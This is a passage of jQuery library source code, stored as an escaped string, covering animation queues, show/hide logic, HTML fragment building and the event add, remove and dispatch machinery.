\"queueHooks\";\n\t\treturn dataPriv.get( elem, key ) || dataPriv.access( elem, key, {\n\t\t\tempty: jQuery.Callbacks( \"once memory\" ).add( function() {\n\t\t\t\tdataPriv.remove( elem, [ type + \"queue\", key ] );\n\t\t\t} )\n\t\t} );\n\t}\n} );\n\njQuery.fn.extend( {\n\tqueue: function( type, data ) {\n\t\tvar setter = 2;\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t\tsetter--;\n\t\t}\n\n\t\tif ( arguments.length < setter ) {\n\t\t\treturn jQuery.queue( this[ 0 ], type );\n\t\t}\n\n\t\treturn data === undefined ?\n\t\t\tthis :\n\t\t\tthis.each( function() {\n\t\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\t\t// Ensure a hooks for this queue\n\t\t\t\tjQuery._queueHooks( this, type );\n\n\t\t\t\tif ( type === \"fx\" && queue[ 0 ] !== \"inprogress\" ) {\n\t\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t\t}\n\t\t\t} );\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t} );\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, obj ) {\n\t\tvar tmp,\n\t\t\tcount = 1,\n\t\t\tdefer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = this.length,\n\t\t\tresolve = function() {\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t\t}\n\t\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobj = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\n\t\twhile ( i-- ) {\n\t\t\ttmp = dataPriv.get( elements[ i ], type + \"queueHooks\" );\n\t\t\tif ( tmp && tmp.empty ) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.empty.add( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise( obj );\n\t}\n} );\nvar pnum = ( /[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/ ).source;\n\nvar rcssNum = new RegExp( \"^(?:([+-])=|)(\" + pnum + \")([a-z%]*)$\", \"i\" );\n\n\nvar cssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ];\n\nvar documentElement = document.documentElement;\n\n\n\n\tvar isAttached = function( elem ) {\n\t\t\treturn jQuery.contains( elem.ownerDocument, elem );\n\t\t},\n\t\tcomposed = { composed: true };\n\n\t// Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only\n\t// Check attachment across shadow DOM boundaries when possible (gh-3504)\n\t// Support: iOS 10.0-10.2 only\n\t// Early iOS 10 versions support `attachShadow` but not `getRootNode`,\n\t// leading to errors. We need to check for `getRootNode`.\n\tif ( documentElement.getRootNode ) {\n\t\tisAttached = function( elem ) {\n\t\t\treturn jQuery.contains( elem.ownerDocument, elem ) ||\n\t\t\t\telem.getRootNode( composed ) === elem.ownerDocument;\n\t\t};\n\t}\nvar isHiddenWithinTree = function( elem, el ) {\n\n\t\t// isHiddenWithinTree might be called from jQuery#filter function;\n\t\t// in that case, element will be second argument\n\t\telem = el || elem;\n\n\t\t// Inline style trumps all\n\t\treturn elem.style.display === \"none\" ||\n\t\t\telem.style.display === \"\" &&\n\n\t\t\t// Otherwise, check computed style\n\t\t\t// Support: Firefox <=43 - 45\n\t\t\t// Disconnected elements can have computed display: none, so first confirm that elem is\n\t\t\t// in the document.\n\t\t\tisAttached( elem ) &&\n\n\t\t\tjQuery.css( elem, \"display\" ) === \"none\";\n\t};\n\n\n\nfunction adjustCSS( elem, prop, valueParts, tween ) {\n\tvar adjusted, scale,\n\t\tmaxIterations = 20,\n\t\tcurrentValue = tween ?\n\t\t\tfunction() {\n\t\t\t\treturn tween.cur();\n\t\t\t} :\n\t\t\tfunction() {\n\t\t\t\treturn jQuery.css( elem, prop, \"\" );\n\t\t\t},\n\t\tinitial = currentValue(),\n\t\tunit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" ),\n\n\t\t// Starting value computation is required for potential unit mismatches\n\t\tinitialInUnit = elem.nodeType &&\n\t\t\t( jQuery.cssNumber[ prop ] || unit !== \"px\" && +initial ) &&\n\t\t\trcssNum.exec( jQuery.css( elem, prop ) );\n\n\tif ( initialInUnit && initialInUnit[ 3 ] !== unit ) {\n\n\t\t// Support: Firefox <=54\n\t\t// Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144)\n\t\tinitial = initial / 2;\n\n\t\t// Trust units reported by jQuery.css\n\t\tunit = unit || initialInUnit[ 3 ];\n\n\t\t// Iteratively approximate from a nonzero starting point\n\t\tinitialInUnit = +initial || 1;\n\n\t\twhile ( maxIterations-- ) {\n\n\t\t\t// Evaluate and update our best guess (doubling guesses that zero out).\n\t\t\t// Finish if the scale equals or crosses 1 (making the old*new product non-positive).\n\t\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\t\t\tif ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) {\n\t\t\t\tmaxIterations = 0;\n\t\t\t}\n\t\t\tinitialInUnit = initialInUnit / scale;\n\n\t\t}\n\n\t\tinitialInUnit = initialInUnit * 2;\n\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\n\t\t// Make sure we update the tween properties later on\n\t\tvalueParts = valueParts || [];\n\t}\n\n\tif ( valueParts ) {\n\t\tinitialInUnit = +initialInUnit || +initial || 0;\n\n\t\t// Apply relative offset (+=/-=) if specified\n\t\tadjusted = valueParts[ 1 ] ?\n\t\t\tinitialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :\n\t\t\t+valueParts[ 2 ];\n\t\tif ( tween ) {\n\t\t\ttween.unit = unit;\n\t\t\ttween.start = initialInUnit;\n\t\t\ttween.end = adjusted;\n\t\t}\n\t}\n\treturn adjusted;\n}\n\n\nvar defaultDisplayMap = {};\n\nfunction getDefaultDisplay( elem ) {\n\tvar temp,\n\t\tdoc = elem.ownerDocument,\n\t\tnodeName = elem.nodeName,\n\t\tdisplay = defaultDisplayMap[ nodeName ];\n\n\tif ( display ) {\n\t\treturn display;\n\t}\n\n\ttemp = doc.body.appendChild( doc.createElement( nodeName ) );\n\tdisplay = jQuery.css( temp, \"display\" );\n\n\ttemp.parentNode.removeChild( temp );\n\n\tif ( display === \"none\" ) {\n\t\tdisplay = \"block\";\n\t}\n\tdefaultDisplayMap[ nodeName ] = display;\n\n\treturn display;\n}\n\nfunction showHide( elements, show ) {\n\tvar display, elem,\n\t\tvalues = [],\n\t\tindex = 0,\n\t\tlength = elements.length;\n\n\t// Determine new display value for elements that need to change\n\tfor ( ; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tdisplay = elem.style.display;\n\t\tif ( show ) {\n\n\t\t\t// Since we force visibility upon cascade-hidden elements, an immediate (and slow)\n\t\t\t// check is required in this first loop unless we have a nonempty display value (either\n\t\t\t// inline or about-to-be-restored)\n\t\t\tif ( display === \"none\" ) {\n\t\t\t\tvalues[ index ] = dataPriv.get( elem, \"display\" ) || null;\n\t\t\t\tif ( !values[ index ] ) {\n\t\t\t\t\telem.style.display = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( elem.style.display === \"\" && isHiddenWithinTree( elem ) ) {\n\t\t\t\tvalues[ index ] = getDefaultDisplay( elem );\n\t\t\t}\n\t\t} else {\n\t\t\tif ( display !== \"none\" ) {\n\t\t\t\tvalues[ index ] = \"none\";\n\n\t\t\t\t// Remember what we're overwriting\n\t\t\t\tdataPriv.set( elem, \"display\", display );\n\t\t\t}\n\t\t}\n\t}\n\n\t// Set the display of the elements in a second loop to avoid constant reflow\n\tfor ( index = 0; index < length; index++ ) {\n\t\tif ( values[ index ] != null ) {\n\t\t\telements[ index ].style.display = values[ index ];\n\t\t}\n\t}\n\n\treturn elements;\n}\n\njQuery.fn.extend( {\n\tshow: function() {\n\t\treturn showHide( this, true );\n\t},\n\thide: function() {\n\t\treturn showHide( this );\n\t},\n\ttoggle: function( state ) {\n\t\tif ( typeof state === \"boolean\" ) {\n\t\t\treturn state ? this.show() : this.hide();\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tif ( isHiddenWithinTree( this ) ) {\n\t\t\t\tjQuery( this ).show();\n\t\t\t} else {\n\t\t\t\tjQuery( this ).hide();\n\t\t\t}\n\t\t} );\n\t}\n} );\nvar rcheckableType = ( /^(?:checkbox|radio)$/i );\n\nvar rtagName = ( /<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)/i );\n\nvar rscriptType = ( /^$|^module$|\\/(?:java|ecma)script/i );\n\n\n\n( function() {\n\tvar fragment = document.createDocumentFragment(),\n\t\tdiv = fragment.appendChild( document.createElement( \"div\" ) ),\n\t\tinput = document.createElement( \"input\" );\n\n\t// Support: Android 4.0 - 4.3 only\n\t// Check state lost if the name is set (trac-11217)\n\t// Support: Windows Web Apps (WWA)\n\t// `name` and `type` must use .setAttribute for WWA (trac-14901)\n\tinput.setAttribute( \"type\", \"radio\" );\n\tinput.setAttribute( \"checked\", \"checked\" );\n\tinput.setAttribute( \"name\", \"t\" );\n\n\tdiv.appendChild( input );\n\n\t// Support: Android <=4.1 only\n\t// Older WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\t// Support: IE <=11 only\n\t// Make sure textarea (and checkbox) defaultValue is properly cloned\n\tdiv.innerHTML = \"<textarea>x</textarea>\";\n\tsupport.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;\n\n\t// Support: IE <=9 only\n\t// IE <=9 replaces <option> tags with their contents when inserted outside of\n\t// the select element.\n\tdiv.innerHTML = \"<option></option>\";\n\tsupport.option = !!div.lastChild;\n} )();\n\n\n// We have to close these tags to support XHTML (trac-13200)\nvar wrapMap = {\n\n\t// XHTML parsers do not magically insert elements in the\n\t// same way that tag soup parsers do. So we cannot shorten\n\t// this by omitting <tbody> or other required elements.\n\tthead: [ 1, \"<table>\", \"</table>\" ],\n\tcol: [ 2, \"<table><colgroup>\", \"</colgroup></table>\" ],\n\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\n\t_default: [ 0, \"\", \"\" ]\n};\n\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n// Support: IE <=9 only\nif ( !support.option ) {\n\twrapMap.optgroup = wrapMap.option = [ 1, \"<select multiple='multiple'>\", \"</select>\" ];\n}\n\n\nfunction getAll( context, tag ) {\n\n\t// Support: IE <=9 - 11 only\n\t// Use typeof to avoid zero-argument method invocation on host objects (trac-15151)\n\tvar ret;\n\n\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\tret = context.getElementsByTagName( tag || \"*\" );\n\n\t} else if ( typeof context.querySelectorAll !== \"undefined\" ) {\n\t\tret = context.querySelectorAll( tag || \"*\" );\n\n\t} else {\n\t\tret = [];\n\t}\n\n\tif ( tag === undefined || tag && nodeName( context, tag ) ) {\n\t\treturn jQuery.merge( [ context ], ret );\n\t}\n\n\treturn ret;\n}\n\n\n// Mark scripts as having already been evaluated\nfunction setGlobalEval( elems, refElements ) {\n\tvar i = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\tdataPriv.set(\n\t\t\telems[ i ],\n\t\t\t\"globalEval\",\n\t\t\t!refElements || dataPriv.get( refElements[ i ], \"globalEval\" )\n\t\t);\n\t}\n}\n\n\nvar rhtml = /<|&#?\\w+;/;\n\nfunction buildFragment( elems, context, scripts, selection, ignored ) {\n\tvar elem, tmp, tag, wrap, attached, j,\n\t\tfragment = context.createDocumentFragment(),\n\t\tnodes = [],\n\t\ti = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\telem = elems[ i ];\n\n\t\tif ( elem || elem === 0 ) {\n\n\t\t\t// Add nodes directly\n\t\t\tif ( toType( elem ) === \"object\" ) {\n\n\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );\n\n\t\t\t// Convert non-html into a text node\n\t\t\t} else if ( !rhtml.test( elem ) ) {\n\t\t\t\tnodes.push( context.createTextNode( elem ) );\n\n\t\t\t// Convert html into DOM nodes\n\t\t\t} else {\n\t\t\t\ttmp = tmp || fragment.appendChild( context.createElement( \"div\" ) );\n\n\t\t\t\t// Deserialize a standard representation\n\t\t\t\ttag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase();\n\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default;\n\t\t\t\ttmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];\n\n\t\t\t\t// Descend through wrappers to the right content\n\t\t\t\tj = wrap[ 0 ];\n\t\t\t\twhile ( j-- ) {\n\t\t\t\t\ttmp = tmp.lastChild;\n\t\t\t\t}\n\n\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, tmp.childNodes );\n\n\t\t\t\t// Remember the top-level container\n\t\t\t\ttmp = fragment.firstChild;\n\n\t\t\t\t// Ensure the created nodes are orphaned (trac-12392)\n\t\t\t\ttmp.textContent = \"\";\n\t\t\t}\n\t\t}\n\t}\n\n\t// Remove wrapper from fragment\n\tfragment.textContent = \"\";\n\n\ti = 0;\n\twhile ( ( elem = nodes[ i++ ] ) ) {\n\n\t\t// Skip elements already in the context collection (trac-4087)\n\t\tif ( selection && jQuery.inArray( elem, selection ) > -1 ) {\n\t\t\tif ( ignored ) {\n\t\t\t\tignored.push( elem );\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tattached = isAttached( elem );\n\n\t\t// Append to fragment\n\t\ttmp = getAll( fragment.appendChild( elem ), \"script\" );\n\n\t\t// Preserve script evaluation history\n\t\tif ( attached ) {\n\t\t\tsetGlobalEval( tmp );\n\t\t}\n\n\t\t// Capture executables\n\t\tif ( scripts ) {\n\t\t\tj = 0;\n\t\t\twhile ( ( elem = tmp[ j++ ] ) ) {\n\t\t\t\tif ( rscriptType.test( elem.type || \"\" ) ) {\n\t\t\t\t\tscripts.push( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn fragment;\n}\n\n\nvar rtypenamespace = /^([^.]*)(?:\\.(.+)|)/;\n\nfunction returnTrue() {\n\treturn true;\n}\n\nfunction returnFalse() {\n\treturn false;\n}\n\nfunction on( elem, types, selector, data, fn, one ) {\n\tvar origFn, type;\n\n\t// Types can be a map of types/handlers\n\tif ( typeof types === \"object\" ) {\n\n\t\t// ( types-Object, selector, data )\n\t\tif ( typeof selector !== \"string\" ) {\n\n\t\t\t// ( types-Object, data )\n\t\t\tdata = data || selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tfor ( type in types ) {\n\t\t\ton( elem, type, selector, data, types[ type ], one );\n\t\t}\n\t\treturn elem;\n\t}\n\n\tif ( data == null && fn == null ) {\n\n\t\t// ( types, fn )\n\t\tfn = selector;\n\t\tdata = selector = undefined;\n\t} else if ( fn == null ) {\n\t\tif ( typeof selector === \"string\" ) {\n\n\t\t\t// ( types, selector, fn )\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t} else {\n\n\t\t\t// ( types, data, fn )\n\t\t\tfn = data;\n\t\t\tdata = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t}\n\tif ( fn === false ) {\n\t\tfn = returnFalse;\n\t} else if ( !fn ) {\n\t\treturn elem;\n\t}\n\n\tif ( one === 1 ) {\n\t\torigFn = fn;\n\t\tfn = function( event ) {\n\n\t\t\t// Can use an empty set, since event contains the info\n\t\t\tjQuery().off( event );\n\t\t\treturn origFn.apply( this, arguments );\n\t\t};\n\n\t\t// Use same guid so caller can remove using origFn\n\t\tfn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n\t}\n\treturn elem.each( function() {\n\t\tjQuery.event.add( this, types, fn, data, selector );\n\t} );\n}\n\n/*\n * Helper functions for managing events -- not part of the public interface.\n * Props to Dean Edwards' addEvent library for many of the ideas.\n */\njQuery.event = {\n\n\tglobal: {},\n\n\tadd: function( elem, types, handler, data, selector ) {\n\n\t\tvar handleObjIn, eventHandle, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.get( elem );\n\n\t\t// Only attach events to objects that accept data\n\t\tif ( !acceptData( elem ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an object of custom data in lieu of the handler\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t\tselector = handleObjIn.selector;\n\t\t}\n\n\t\t// Ensure that invalid selectors throw exceptions at attach time\n\t\t// Evaluate against documentElement in case elem is a non-element node (e.g., document)\n\t\tif ( selector ) {\n\t\t\tjQuery.find.matchesSelector( documentElement, selector );\n\t\t}\n\n\t\t// Make sure that the handler has a unique ID, used to find/remove it later\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure and main handler, if this is the first\n\t\tif ( !( events = elemData.events ) ) {\n\t\t\tevents = elemData.events = Object.create( null );\n\t\t}\n\t\tif ( !( eventHandle = elemData.handle ) ) {\n\t\t\teventHandle = elemData.handle = function( e ) {\n\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && jQuery.event.triggered !== e.type ?\n\t\t\t\t\tjQuery.event.dispatch.apply( elem, arguments ) : undefined;\n\t\t\t};\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\ttypes = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// There *must* be a type, no attaching namespace-only handlers\n\t\t\tif ( !type ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// If event changes its type, use the special event handlers for the changed type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// If selector defined, determine special event api type, otherwise given type\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\n\t\t\t// Update special based on newly reset type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// handleObj is passed to all event handlers\n\t\t\thandleObj = jQuery.extend( {\n\t\t\t\ttype: type,\n\t\t\t\torigType: origType,\n\t\t\t\tdata: data,\n\t\t\t\thandler: handler,\n\t\t\t\tguid: handler.guid,\n\t\t\t\tselector: selector,\n\t\t\t\tneedsContext: selector && jQuery.expr.match.needsContext.test( selector ),\n\t\t\t\tnamespace: namespaces.join( \".\" )\n\t\t\t}, handleObjIn );\n\n\t\t\t// Init the event handler queue if we're the first\n\t\t\tif ( !( handlers = events[ type ] ) ) {\n\t\t\t\thandlers = events[ type ] = [];\n\t\t\t\thandlers.delegateCount = 0;\n\n\t\t\t\t// Only use addEventListener if the special events handler returns false\n\t\t\t\tif ( !special.setup ||\n\t\t\t\t\tspecial.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to the element's handler list, delegates in front\n\t\t\tif ( selector ) {\n\t\t\t\thandlers.splice( handlers.delegateCount++, 0, handleObj );\n\t\t\t} else {\n\t\t\t\thandlers.push( handleObj );\n\t\t\t}\n\n\t\t\t// Keep track of which events have ever been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, selector, mappedTypes ) {\n\n\t\tvar j, origCount, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.hasData( elem ) && dataPriv.get( elem );\n\n\t\tif ( !elemData || !( events = elemData.events ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Once for each type.namespace in types; type may be omitted\n\t\ttypes = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// Unbind all events (on this namespace, if provided) for the element\n\t\t\tif ( !type ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tjQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\t\t\thandlers = events[ type ] || [];\n\t\t\ttmp = tmp[ 2 ] &&\n\t\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" );\n\n\t\t\t// Remove matching events\n\t\t\torigCount = j = handlers.length;\n\t\t\twhile ( j-- ) {\n\t\t\t\thandleObj = handlers[ j ];\n\n\t\t\t\tif ( ( mappedTypes || origType === handleObj.origType ) &&\n\t\t\t\t\t( !handler || handler.guid === handleObj.guid ) &&\n\t\t\t\t\t( !tmp || tmp.test( handleObj.namespace ) ) &&\n\t\t\t\t\t( !selector || selector === handleObj.selector ||\n\t\t\t\t\t\tselector === \"**\" && handleObj.selector ) ) {\n\t\t\t\t\thandlers.splice( j, 1 );\n\n\t\t\t\t\tif ( handleObj.selector ) {\n\t\t\t\t\t\thandlers.delegateCount--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove generic event handler if we removed something and no more handlers exist\n\t\t\t// (avoids potential for endless recursion during removal of special event handlers)\n\t\t\tif ( origCount && !handlers.length ) {\n\t\t\t\tif ( !special.teardown ||\n\t\t\t\t\tspecial.teardown.call( elem, namespaces, elemData.handle ) === false ) {\n\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove data and the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\tdataPriv.remove( elem, \"handle events\" );\n\t\t}\n\t},\n\n\tdispatch: function( nativeEvent ) {\n\n\t\tvar i, j, ret, matched, handleObj, handlerQueue,\n\t\t\targs = new Array( arguments.length ),\n\n\t\t\t// Make a writable jQuery.Event from the native event object\n\t\t\tevent = jQuery.event.fix( nativeEvent ),\n\n\t\t\thandlers = (\n\t\t\t\tdataPriv.get( this, \"events\" ) || Object.create( null )\n\t\t\t)[ event.type ] || [],\n\t\t\tspecial = jQuery.event.special[ event.type ] || {};\n\n\t\t// Use the fix-ed jQuery.Event rather than the (read-only) native event\n\t\targs[ 0 ] = event;\n\n\t\tfor ( i = 1; i < arguments.length; i++ ) {\n\t\t\targs[ i ] = arguments[ i ];\n\t\t}\n\n\t\tevent.delegateTarget = this;\n\n\t\t// Call the preDispatch hook for the mapped type, and let it bail if desired\n\t\tif ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine handlers\n\t\thandlerQueue = jQuery.event.handlers.call( this, event, handlers );\n\n\t\t// Run delegates first; they may want to stop propagation beneath us\n\t\ti = 0;\n\t\twhile ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tevent.currentTarget = matched.elem;\n\n\t\t\tj = 0;\n\t\t\twhile ( ( handleObj = matched.handlers[ j++ ] ) &&\n\t\t\t\t!event.isImmediatePropagationStopped() ) {\n\n\t\t\t\t// If the event is namespaced, then each handler is only invoked if it is\n\t\t\t\t// specially universal or its namespaces are a superset of the event's.\n\t\t\t\tif ( !event.rnamespace || handleObj.namespace === false ||\n\t\t\t\t\tevent.rnamespace.test( handleObj.namespace ) ) {\n\n\t\t\t\t\tevent.handleObj = handleObj;\n\t\t\t\t\tevent.data = handleObj.data;\n\n\t\t\t\t\tret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||\n\t\t\t\t\t\thandleObj.handler ).apply( matched.elem, args );\n\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\tif ( ( event.result = ret ) === false ) {\n\t\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Call the postDispatch hook for the mapped type\n\t\tif ( special.postDispatch ) {\n\t\t\tspecial.postDispatch.call( this, event );\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\thandlers: function( event, handlers ) {\n\t\tvar i, handleObj, sel, matchedHandlers, matchedSelectors,\n\t\t\thandlerQueue = [],\n\t\t\tdelegateCount = handlers.delegateCount,\n\t\t\tcur = event.target;\n\n\t\t// Find delegate handlers\n\t\tif ( delegateCount &&\n\n\t\t\t// Support: IE <=9\n\t\t\t// Black-hole SVG <use> instance trees (trac-13180)\n\t\t\tcur.nodeType &&\n\n\t\t\t// Support: Firefox <=42\n\t\t\t// Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)\n\t\t\t// https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click\n\t\t\t// Support: IE 11 only\n\t\t\t// ...but not arrow key \"clicks\" of radio inputs, which can have `button` -1 (gh-2343)\n\t\t\t!( event.type === \"click\" && event.button >= 1 ) ) {\n\n\t\t\tfor ( ; cur !== this; cur = cur.parentNode || this ) {\n\n\t\t\t\t// Don't check non-elements (trac-13208)\n\t\t\t\t// Don't process clicks on disabled elements (trac-6911, trac-8165, trac-11382, trac-11764)\n\t\t\t\tif ( cur.nodeType === 1 && !( event.type === \"click\" && cur.disabled === true ) ) {\n\t\t\t\t\tmatchedHandlers = [];\n\t\t\t\t\tmatchedSelectors = {};\n\t\t\t\t\tfor ( i = 0; i < delegateCount; i++ ) {\n\t\t\t\t\t\thandleObj = handlers[ i ];\n\n\t\t\t\t\t\t// Don't conflict with Object.prototype properties (trac-13203)\n\t\t\t\t\t\tsel = handleObj.selector + \" \";\n\n\t\t\t\t\t\tif ( matchedSelectors[ sel ] === undefined ) {\n\t\t\t\t\t\t\tmatchedSelectors[ sel ] = handleObj.needsContext ?\n\t\t\t\t\t\t\t\tjQuery( sel, this ).index( cur ) > -1 :\n\t\t\t\t\t\t\t\tjQuery.find( sel, this, null, [ cur ] ).length;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( matchedSelectors[ sel ] ) {\n\t\t\t\t\t\t\tmatchedHandlers.push( handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( matchedHandlers.length ) {\n\t\t\t\t\t\thandlerQueue.push( { elem: cur, handlers: matchedHandlers } );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add the remaining (directly-bound) handlers\n\t\tcur = this;\n\t\tif ( delegateCount < handlers.length ) {\n\t\t\thandlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );\n\t\t}\n\n\t\treturn handlerQueue;\n\t},\n\n\taddProp: function( name, hook ) {\n\t\tObject.defineProperty( jQuery.Event.prototype, name, {\n\t\t\tenumerable: true,\n\t\t\tconfigurable: true,\n\n\t\t\tget: isFunction( hook ) ?\n\t\t\t\tfunction() {\n\t\t\t\t\tif ( this.originalEvent ) {\n\t\t\t\t\t\treturn hook( this.originalEvent );\n\t\t\t\t\t}\n\t\t\t\t} :\n\t\t\t\tfunction() {\n\t\t\t\t\tif ( this.originalEvent ) {\n\t\t\t\t\t\treturn this.originalEvent[ name ];\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\tset: function( value ) {\n\t\t\t\tObject.defineProperty( this, name, {\n\t\t\t\t\tenumerable: true,\n\t\t\t\t\tconfigurable: true,\n\t\t\t\t\twritable: true,\n\t\t\t\t\tvalue: value\n\t\t\t\t} );\n\t\t\t}\n\t\t} );\n\t},\n\n\tfix: function( originalEvent ) {\n\t\treturn originalEvent[ jQuery.expando ] ?\n\t\t\toriginalEvent 